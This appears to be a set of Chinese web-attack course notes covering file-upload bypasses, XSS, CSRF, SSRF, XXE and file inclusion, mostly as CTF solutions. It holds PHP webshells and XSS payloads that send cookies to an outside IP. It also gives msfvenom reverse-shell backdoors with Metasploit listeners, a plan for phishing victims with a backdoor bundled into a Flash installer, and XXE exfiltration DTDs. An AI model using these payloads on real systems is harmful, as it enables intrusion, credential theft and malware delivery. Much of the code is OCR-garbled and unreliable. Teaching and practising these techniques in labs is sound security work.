test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

161-JS验证+User.ni+短标签+过滤+文件头

1
2
3
文件头部检测是否为图片格式文件
user ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
1
补充:主要就是可以去ctfshow上去刷题,上面的题很好,而且这个知识点也是ctf的常考。

第32天 WEB攻防-通用漏洞&文件上传&二次洹染8&htaccess&变异免杀

知识点:

1、文件上传-二次渣染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渣染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全

3、文件上传-实例CMS文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

二次渲染判断: ——较难

1、上传前后文件大小不同
2、上传后图片返回内容包含明显的二次渲染标志

演示案例:

CTFSHOW-文件上传-162到170关卡
162 突破过滤

1
2
3
4
5
过滤 . () {} 等
利用远程包含IP转换地址后门调用执行
.user.ini auto_prepend_file=png
png <?=include’http://794750069/>
https://www.bejson.com/convert/ip2int/

163 突破上传刷除

1
2
3
4
过滤 . () {}等同时文件被删测除
直接利用user.ini包含远程
auto_prepend_file=http://794750069/
auto_prepend_file=http://794750069/

164 png二次渲染

1
2
3
https //blog.csdn.net/qq 40800734/article/details/105920149
get:0=system post:1=tac flag.php
将后门代码写入图片(前提,读取文件是通过php解析,导致后门代码可执行)

165 jpg二次渲染

1
2
3
1、先上传jpg正常,返回包发现渲染
2、上传jpg渲染后保存,生成带代码图片
调用执行:php jpg .php 1.jpg

166 zip调用包含

1
2
3
直接上传zip后修改代码

<?=eval($POST[x]),?>

167 .htaccess妙用

1
2
3
4
5
.htaccess默认不支持nginx,设置后支持
.htaccess可以通过设置实现文件解析配置
将png后缀的文件解析成php
AddType application/x-httpd-php png
将png后缀的文件解析成php

168 免杀后门(构造变量绕过函数过滤)

1
<?php $a='syste';$b='m',$c=$a.$b;$c(tac ./flagaa.php'):?>

169 170 日志包含

1
2
3
4
构造.user.in利用条件:上传index.php内容随意
上传.user.ini包含日志:auto_prepend_fle=var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($POST[X):?>
上传.user.ini是利用文件包含 上传.htaccess是利用文件解析漏洞

第33天 WEB攻防-通用漏洞&文件上传&中间件解析漏洞8似编器安全

知识点:

1、文件上传-二次渣染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渣染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

演示案例:

中间件文件解析-lIS&Apache&Nginx
Web应用编辑器-Ueditor文件上传安全
实例CMS&平台-中间件解析&编辑器引用

#中间件文件解析-llS&Apache&Nginx
IIS 6 7文件名目录名
1、文件名:X.asp;.x.jpg
2、目录名:x.asp/x.jpg
3、S7.X与Nginx解析漏洞一致
(该漏洞实现的条件:1中间件类型为IIS且版本对应 2、上传文件能不能修改目录或上传的文件名能增加命名)
(漏洞防护:严格命名规则:基于本地名命名、基于时间命名、基于随机字符命名 上传的文件名固定且目录无法创建则漏洞无法实现)

#Apache换行解析配置不当

1、换行解析-CVE-2017-15715 https://blog.csdn.net/youthbelief/article/details/121258770 复现文章
其2.4.0~2.4.29版本中存在一个解析漏洞

2、配置不当-.htaccess配置不当
AddHandier application/x-httpd-php .php

#Nginx 文件名逻辑解析漏洞

1,文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
注意此处文件名后要加空格

2.解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

#Web应用编辑器-Ueditor文件上传安全

思路:制作图片马–将图片马上传到vps–上述代码保存为html文件,将访问地址修改为编译器地址—访问html文件将图片马地址填入(构造好的http://xxxx/ueditor.jpg?.aspx)–点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址–shell连接
参考文章:https://codeleading.com/article/27805571408/#google_vignette

#实例CMS&平台-中间件解析&编辑器引用

1、中间件配置不当导致文件被恶意解析
2、CMS源码引用外部编辑器实现文件上传

第34天 WEB攻防-通用漏同8&文件上传8黑白盒审计8逻捐&中间件&外部引用

知识点:

1、白盒审计三要素
2、黑盒审计四要素
3、白黑测试流程思路

#详细点:

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竟争等

#本章课程内容:

1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

演示案例

白盒审计-Finecms-代码常规-处理逻辑
白盒审计-CuppaCms-中间件.htaccess
白盒审计-Metinfo–编辑器引用-第三方安全

#白盒审计-Finecms-代码常规-处理逻辑

https://blog.csdn.net/m0_52920608/article/details/124457816

黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点代码文件代码块抓包调试验证测试

#白盒审计-CuppaCms-中间件-.htaccess

总结:漏洞产生位置在用户中心上传头像处,因为未对文件内容进行过滤导致可以上传含有后门代码的文件,但是文件上传后会对文件进行重新命名,黑盒测试中会因为不知道上传文件路径文件名导致无法连接shell,白盒测试中则可以看到文件被命名为0x00.php

黑盒思路:存在文件管理上传改名奕破,访问后在突破
审计流程:功能点代码文件-代码块抓包调试验证测试
总结:上传点在后台文件管理–修改名称处–上传出会对文件进行严格过滤且会对文件进行重命名导致上传.user.in和.htaccess上传失败(白名单),在文件管理处可以对文件进行重命名,此处抓包可以抓到重命名的数据包,修改重命名后的文件名可以将png文件修改成php文件,访问发现403,是由于.htaccess配置文件导致media文件夹下php exe php5 等后缀名无法访问,在重命名处改包.// 将文件上传到上一级目录绕过,文件访问正常。第二种绕过思路:直接把.htaccess文件删除。

#白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证测试
审计流程:目录结构-引用编辑器编辑器安全查询-EXP利用验证
总结:目录扫描–扫描出fackeditor目录–判断版本–使用exp上传webshell

#文件上传:

黑盒:寻找一切存在文件上传的功彰应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是佛存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址
白盒:看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键字

第35天 WEB攻防-通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持

知识点:

1、XSS跨站-原理&攻击&分类等
2、XSS跨站-反射型&存储型&DOM型等
3、XSS跨站攻击手法&劫持&恣取凭据等
4、XSS跨站-攻击项目&XSS平台&Beef-XSS

1、原理
指改击者利用网程序对用户输入过不足,端入可以量示在页面上对其他用尸道成影响的HTML代码,从而盗取用户资料、利用用户具份进行某种动或者对访问者进行病毒侵害的一种攻击方式,通过在用户端注入恶意的可执行脚本,若服务器时用户的第人不进行处理或处理不严,则浏览器就会夏接执行用户注入的脚本。
产生的地点:
数据文互的地方
get.post.headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
数据输出的地方
用户资料
关键词、标签、说明
文件上传

2、分类
反射型(非持久型)
存储型(特久型)
DOM型
mXSS(突变型XSS)
UXSS(通用型XSs)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS

3、危害
网络钓鱼,包括获取各类用户账号:
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等:
网页挂马;
进行恶意操作,如任意算改页面信息、别除文章等;
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实即、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏洞,如cS什,实施进一步危害;
提升用户权限,包括进一步渗透网站;
传懂跨站却本螺虫等

#XSS跨站系列内容:

1加粗样式、XSS跨站-原理8分类8手法
2、XSS站-探针&利用&审计
3、XSS聘站-另类攻击手法利用
4、XSS跨站-防御修复8饶过策暗

演示案例:

XSS跨站-原理&分类&手法&探针
反射型实例-UA查询平台数据输出
思路:网站存在读取请求包中UA头并显示的功能–抓包修改UA头添加xss语句–xss语句执行
存储型实例-订单系统CMS权限获取
思路:留言板处会将输入保存到数据库中,后台管理员查看时会执行xss语句。此处xss语句可以替换为盗取cookie的语句,管理员执行后将管理员账号cookie发送到xss平台,从而盗取cookie。
DOM型实例-EmpireCMS前端页面审计
javascript:alter(1)这里不是传参,因此要改变写法
XSS利用环境-XSS平台&Beef-XSS项目 —Beef很有用,直接要是受害者访问你的网站,即可去执行相关有害事件。
搭建beef-xss平台后,若受害者访问 则会被劫持浏览器,可以获取受害者cookie、跳转网站、钓鱼等。
参考文章:https://blog.csdn.net/qq_53517370/article/details/128992559 –很不错,讲了很多beef的使用方法

第36天 WEB攻防-通用漏洞&XSS跨站&MXSS&UXSS&FlashXSS&PDFXSS

知识点:

https://blog.csdn.net/m0_60571842/article/details/132763262 —对全部xss进行更详细的讲解

mXSS(突变型XSS)
UXSS(通用型XSs)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS

演示案例:

UXSS-Edge&CVE-2021-34506
FlashXSS-PHPWind.&SWF反编译
PDFXSS-PDF动作添加&文件上传

#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

#UXsS全称Jniversal Cross-.Site Scripting

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
MICROSOFT EDGE UXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行
https://www.bilibili.com/video/BV1fX4y1c7rX

#Flashxss-swf引用js的xss

JPEXS Free Flash Decompiler
phpwind SWF反编译Flashxss
Externallnterface.call执行JS代码
Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1)))catch(e)0//
思路:类似反射型XSS,通过对wsf文件进行反编译找出传参点,构造闭合传参使得xss语句执行

#PDFXSS-上传后直链发

1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被缺发
危害:恶意pdf上传,受害者点击文件分享链接可被XSS平台和beefxss平台利用

第37天 WEB攻防-通用漏洞&XSS跨站&权限维持&钓鱼捆绑&浏览器漏洞

知识点

XSS跨站-另类攻击手法利用

演示案例:

XSS-后台植入Cookie&表单劫持
XSS-Flash钓鱼配合MSF捆绑上线
XSS-浏览器网马配合MSF访问上线

#XSS-后台植入Cookie&表单劫持

条件:已取得相关web权限后 —就比如将危险xss代码放在博客的主页,就可以去利用beef去获取访问者的信息
1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持
(思路:将xss语句写入登录成功的默认文件,用户登录成功后会直接将信息发送到xss平台)
2、若存在同源策路或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现
(思路:将xss语句写入验证密码的文件,设置变量接收用户名和密码通过xss语句送到到VPS接收数据)

#XSS-Flash钓鱼配合MSF捆绑上线

条件:beef上线受控后或直接钓鱼(受害者爱看SESE) ——–https://blog.csdn.net/weixin_43225966/article/details/130291934
1、生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666-f exe
flash exe
2、下载官方文件保证安装正常
3、压缩捆绑文件-解压提取运行
4、MSF配置监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse tcp
set Ihost 0.0.0.0
set Iport 6666
run
5、诱使受害者访问URL-语言要适当
前期准备:后门文件准备:msf生成后门.exe文件,通过压缩将后门文件和flash安装文件放一起,压缩时选择解压前运行.exe文件,可对后门文件做免杀
诱使受害者访问构造好的flash页面–点击下载出插入xss语句–执行后门文件下载–压缩时运行 –上线

#XSS-浏览器网马配合MSF访问上线

条件:beef上线受控后或直接钓鱼(浏览器存在0day)
1、配置MSF生成URL
use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run
2、诱使受害者访问URL-语言要适当
思路:诱使受害者访问含有beefxss 语句的网站页面–beefxss平台执行网站跳转–跳转到含有payload的网站–上线

第38天 WEB攻防-通用漏洞&XSS跨站&绕过修复&http-only&CSP&标签符号

知识点

4、修复
1、过滤一些危险字符
2、HTTP-only Cookie
3、设置CSP(Content Security Policy)
4、输入内容长度限制,转义等

演示案例:

XSS绕过-CTFSHOW-361到331关卡绕过WP
XSS修复-过滤涵数&http_only&CSP&长度限制

绕过:https:z.aliyun.com/t/4067

ctfshow刷题记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
316-反射型直接远程调用
前置知识:document.cookie是用来直接获取cookie的,window.location.href是获取跳转地址的
<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>
317-反射型-过滤<script>
<img src=1onerror=window.location.href='http://47.94.236.117/getphp?c='+document cookie,>
318 319-反射型-过滤<img>
<inputonload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie:">
<svgonload="window.location.href='http://47.94.236.117/getphp?c='+document cookie;">
320-326-反射型过滤空格
<svg/onload="window.location.href='http://47.94.236.117/get.php?c='+document cookie;"
327存储型无过滤
<script>window.location href='http://47.94.236.117/get.php?c='+document cookie</script>
328存储型注册插入JS
<script>window.location.href='http://47.94.236.117/get.php?c='+document cookie</script>
思路:在密码处插入xss语句--获取cookie--抓包替换cookie--管理员权限获取flag(用户名处会过滤某些关键字 手动狗头)
329 存储型 失效凭据需1步完成所需操作
思路:利用js语句直接读取管理员页面中标签中的flag然后通过xss语句发送到vps
<script>
$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctfshow{')>-1){location.href='http://ip/x.php?cookie='+value.innerText}});
</script>
330-存储型-借助修改密码重置管理员密码(GET) 类似于crsf,通过xss代码注册,使得管理员执行修改密码的语句,攻击者获得密码后即可
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
331-存储型借助修改密码重置管理员密码P0ST)
<script>$.ajax({url 'http://127.0.0.1/api/change.php'type'post'.data {p'123'}});</script>

#XSS修复-过滤函数&http_only&CSP&长度限制

1、过滤一些危险字符,以及转义& <> “ ·等危险字符
自定义过滤函数引用
2、HTTP-only Cookie
https://www.php.cn/php-ask-457831.html
php.in 设置或代码引用
session.cookie httponly =1
ini set(“session.cookie httponly”,1);

http-only的设置能够去防止cookie被完全的盗取,使js脚本无法获取完整全部的cookie

相关文章:https://blog.csdn.net/qq_38553333/article/details/80055521

3、设置CSP(Content Security Policy) 防止资源外发 防止网页加载恶意脚本和其他危险资源
https://blog.csdn.net/a1766855068/article/details/89370320
header(“Content-Security-Policy:img-src ‘self “)
4、输入内容长度限制,实体转义等

第40天 WEB攻防-通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用

知识点:

1、CSRF-原理&危害&探针&利用等
2、SSRF-原理&危害&探针&利用等
3、CSRF&SSRF-黑盒下漏洞探针点

#详细点:

https://blog.csdn.net/qq_43378996/article/details/123910614 ——CSRF详解

CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或者XSRF,,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qg号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
CSRF的攻击过程两个条件:
1、目标用户已经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的URL,
CSRF安全问题黑盒怎么判断:
1、看验证来源不-修复
2、看凭据有无token-修复
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏同。一股情况下,SS凡F攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔高的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片 地址等
SSRF黑盒可能出现的地方:

1
2
3
4
5
6
7
8
9
10
11
12
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过UL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线到译:给网止到译对应网页的内容
4图片加载下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片文章收载功能:主要其会取URL地址中titl以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的u进行一些信悬采集工作
8.数后库内置功能:数据库的比如mongodb的copyDatabase函致
9.邮件系统:比如接收邮件服务器地址
10.编码处理,属性信息处理,文件处理:比如fpmg,ImageMagick,docX,pdf,Xml收处理器等
11.未公开的pi实现以及其他扩展调用URL的功能:可以利用g0ogle语法动加上这些关键字去寻找SSRF漏洞一些的url中的关键字:share、wap、url、ink、src、source、target、.u、3g、display、sourceURI、imageURL、domain.-.-
12.从远程服务器请求资源(upload from url如discuz!;mpot&expost rss feed如webblog;使用了xmi写引擎对象的地方如vordpress xmlrpc.php)

可能利用的伪协议: ———-特别是在ctf赛题中,经常会出现这个。

1
2
3
4
5
6
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

-SSRF白盒可能出现的地方:

1、功能点抓包指向代码块审计

2、功能点函数定位代码块审计

-SSRF常见安全修复防御方案:
1、禁用跳转

2、禁用不需要的协议

3、固定或限制资源地址

4、错误信息统一信息处理

在这里插入图片描述

#系列内容点:

1、CSRF&SSRF&原理&利用&协议等
2、CSRF&SSRF&黑盒&审计&修复等

演示案例:
CSRF-原理&后台自动添加管理员
SSRF-原理&服务&协议&内网&漏洞
SSRF-某实际案例测试演示(功能点)

#CSRF-原理&后台自动添加管理员

案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪的网站:htp:/test.xiaodi8.com/
发送的URL:htp:∥47.94.236.117/add.html
利用流程:
1、获取目标的触发数据包
2、利用CSRFTestert构造导出
3、诱使受害者访问特定地址触发
上面的那个add.html就是增加管理员命令的那个数据包,至于这个URL的构造我们可以利用CSRFTester这个工具来构造,具体的流程就是首先通过前期的信息收集得知这个网站是由什么系统搭建的,那么我们就可以在本地搭建个一样的,然后打开这个工具,首先点击start,并且浏览器也要设置代理为本地的8008端口,然后在浏览器执行添加管理员的操作,抓到包之后就用from形式,然后点击右下角保存就是我们需要的地址,然后还要对这个数据包进行修改,只保留那个request2的,其他的全部删掉。
CSRF攻击需要满足三个条件:网站在管理员登录状态(或则不是网站的话其他的也得是登陆状态),然后能构造数据包,并且构造的地址对方会点击。三个条件缺一不可。
通俗的解释CSRF:

“攻击者盗用了你的身份,以你的名义发送恶意请求”,CSRF是一种依赖web浏览器的、被混淆过的代理人攻击,往往涉及到个人隐私泄露以及财产安全。

csrf黑盒首先看有无token,第二点看能够触发的数据包的地址是不是管理员直接访问就可以直接触发成功,有没有验证过程,有的话能不能绕过,不能绕过就gg,第三个看同源策略,这个可以通过抓包去修改refer的值.

#SSRF-原理&服务&协议&内网&漏洞

-参考文章:https:w.t00ls.cc/articles-41070.html
案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSF探针本地
及内网服务,并利用某漏洞直接获取到内网某主机的权限!
1、服务探针:
http://127.0.0.1:8081/
htp://127.0.0.1:3306/
2、协议玩法:(更多玩法见上图)
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
3、内风扫描:
http://192.168.46.148:8080
4、漏洞利用:
msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117
LPORT=6688-f exe-o xx.exe
-监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set Ihost 0.0.0.0
set Iport 6688
run
-下载:http://192.168.46.148:8080/?search==%00(.execlcmd.exe%20/c%20certutil%20-

第40天 WEB攻防-通用漏洞&CSRF&SSRF&代码审计&同源策略&加载函数

知识点

同上节

演示案例:

代码审计-CSRF.SCMSFH无验证

1
2
思路:添加用户出抓包–使用CSRF抓包工具构造添加指定管理员账户的html文件并将文件上传到vps–受害者在网站保持登录状态下访问构造好的vps文件链接–触发csrf语句添加指定管理员账户
代码审计:找到添加管理员add处代码–发现除了添加账户名的规则外无其他过滤–存在csrf漏洞

代码审计-CSRF-ZBLOG同源策略

思路:同上不走测试csrf漏洞,发现语句执行返回错误,代理审计发现添加管理员出含有referer监测–
两种绕过思路
1、伪造-需要在代码数据包文件固定来源 2、尝试在网站寻找可上传地方,上传数据包文件,取得当前同域名访问地址

代码审计-SSRF.Yzmcms功能&函数

思路:采集功能处写入文件读取代码–读取到服务器下文件

SSRF:

1、特定漏洞功能->代码段分析审计
2、特定漏洞函数->测试对应功能判断
功能点-采集审计
采集添加-测试-抓包-代码-远程请求资源操作(函数)
函数-功能审计
file_get_contents

特性挖掘审计

1.直接复现有没有
成功->有漏洞
失败->代码->缺陷过滤(绕过)->有漏洞
失败->代码->完整过滤->没有漏洞
来源检测:
1、伪造-需要在代码数据包文件固定来源
2、尝试在网站寻找可上传地方,上传数据包文件,取得当前同域名访问地址

其他漏洞:

关键函数和应用功能

第41天 WEB攻防-通用漏洞&XML&XXE&无回显&DTD实体&伪协议&代码审计

1
说明:xxe这个知识点也是CTF赛题中的热门考点之一,是OWASP中的一部分,面试知识点什么的很容易问到的。

知识点:

1、XML&XXE-原理&发现&利用&修复等
2、ML&XXE黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用
4、XML&XXE-无回显&伪协议&产生层面

#思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

-XXE黑盒发现:

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试XXE
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

1
注:一般在CTF题目中都会比较刻意,就能够去直接发现找到xml的格式,甚至有些题还会直接给出xml文件。

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

详细点:

XML被设计为传输和存储数据,ML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称KML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异:

XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。

XXE修复防卸方案:

-方案1-禁用外部实体

1
2
3
4
5
6
7
8
PHP
libxml disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newlnstance():dbf.setExpandEntityReferences(false).
Python:
from Ixml import etreexmlData
etree.parse(xmiSource,etree.XMLParser(resolve entities=False))

-方案2-过滤用户提交的XML数据

1
过滤关键词:<IDOCTYPE和<IENTITY,或者SYSTEM和PUBLIC

img

演示案例:

XML&XXE-黑盒-原理&探针&利用&玩法等
XML&XXE-前端-CTF&Jarvisoj&探针&利用
XML&XXE-白盒-CMS&PHPSHE&无回显审计

#XML&XXE黑盒-原理&探针&利用&玩法等

思路:本地靶场抓包发现post提交的参数中格式为xml格式且content-type为application/xml判定为xml–修改数据包尝试读取文件内容–此时若无回显尝试进行数据外带发现能够实现–引用外部实体evil2.dtd文件进行读取(此时若无回显也无法实现)–最后利用外带和引用外部实体先读取这个e.txt,读取到的信息复制给变量file。然后引用外部实体test.dtd,然后外部实体里面写上用get.php这个文件的file参数去接收上面的变量file的内容。那么最后我们读取到的内容就会在file.txt这个文本文档中显示

参考:https://www.cnblogs.com/20175211lyzp/11413335.html

1、读取文件:

1
2
3
4
5
<?xml version="1.0"?>
<IDOCTYPE Mikasa[
<IENTITY test SYSTEM "file:///d/e.txt">
]>
<user><usemname>&test</username><password>Mikasa</password></user>

1.1带外测试:

1
2
3
4
5
6
<?xml version="1.0"?>
<IDOCTYPE test[
<IENTITY file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</usemame><password>Mikasa</password></user>

2、外部引用实体dtd:
实体引用:引用远程的evil2.dtd文件
1、解决拦截防护绕过问题
2、解决数据不回显问题

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<IDOCTYPE test[
<IENTITY file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file,
]>
<user><username>&send;</usemame><password>Mikasa</password></user>
evil2.dtd 读取e.txt文件
<IENTITY send SYSTEM "file:///d:/e.txt">

3、无回显读文件:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<IDOCTYPE ANY[
<IENTITY file SYSTEM "file:///d:/e.tct
<IENTITY remote SYSTEM "http://47.94.236.117/testdtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<IENTITY % all "<IENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

#XML&XXE-前端-CTF&Jarvisoj&探针&利用

思路:通过前端代码发现参数的传递是通过xml实现的,此时抓包构造数据包尝试进行文件读取报错是因为文件类型为json修改为xml后返回正确
http://web.jarvisoj.com:9882/
XXE黑盒发现:
1、获取得到Content-Type或数据类型为Xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提文测试xxe
流程:功能分析-前端提文-源码&抓包构造Paylod测试
更改清求据格式:Content-Type

1
2
3
4
5
<?xml version ="1.0?>
<!DOCTYPE ANY I
<!ENTITY f SYSTEM" file:///home/ctf/fiao.txt>
]>
<x>&</x>

#XML&XOXE-白盒-CMS&PHPSHE&无回显审计
思路:通过全局搜索xml解析函数逐步找到存在漏洞的函数和文件–抓包改包测试若外带出数据则证明漏洞存在
审计流程:
1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxmli谓用了pe_getxml
4、notify_urtg用了wechat_getxml
漏洞函数在自定义函数be getxmlg里面->谁调用了pe_getxml–>wechat_getxml–找到并访问存在漏洞的文件
访问notify_url文件触发wechat_getxmlE函数,构造Paylod测试
先尝试读取文件,无回显后带外测试:

1
2
3
4
5
6
<?xml version="1.0"?>
<IDOCTYPE test[
<IENTITY file SYSTEM "http://1uwlwv.dnslog.cn">
%file.
]>
<user><username>&send;</usemame><password>Mikasa</password></user>

然后带外传递数据解决无回显:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<IDOCTYPE ANY[
<IENTITY file SYSTEM "file:///d:/e.txt">
<IENTITY remote SYSTEM "http://47.94.236.117/testdtd">
%remote;
%all;
]>
<root>&send:</root>
testdtd:
<IENTITY all "<IENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

第42天:WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计

知识点:

1、解释什么是文件包含
2、分类-本地LF月&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等

#核心知识:

1、本地包含LF1&远程包含RF1-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法-见下文

1
2
3
4
5
6
<!--#include file="1.asp"-->
<!--#include file="top.aspx"->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@include file="head.jsp"%>
<?php include(test.php')?

3、PHP文件包含伪协议玩法

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

1
2
3
4
黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现: 1、可通过应用功能追踪代码定位审计
2、可通过却本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

#本课总结:

1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码国定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

演示案例:

前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过

#前置知识-原理&分类&探针&利用&修复

比如说1.php写入phpinfo(); 然后2.txt写入 include(‘1.txt’);那么在访问2.php时就会返回1.php中的内容,同样过滤也是,只需要先将过滤的函数定义好,然后在需要过滤的地方直接include,相当于引用。包含即执行,php文件中包含txt文件,也会以php执行。

接下来就是一些ctfshow的刷题记录,ctfshow上的文件包含还是讲的很详细的,这里就不过多介绍了。

#CTF应用-CTFSHOW-78关卡到117关卡

PHP伪协议参考链接:https://segmentfault.com/a/1190000018991087

78-php&http协议
1
2
3
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
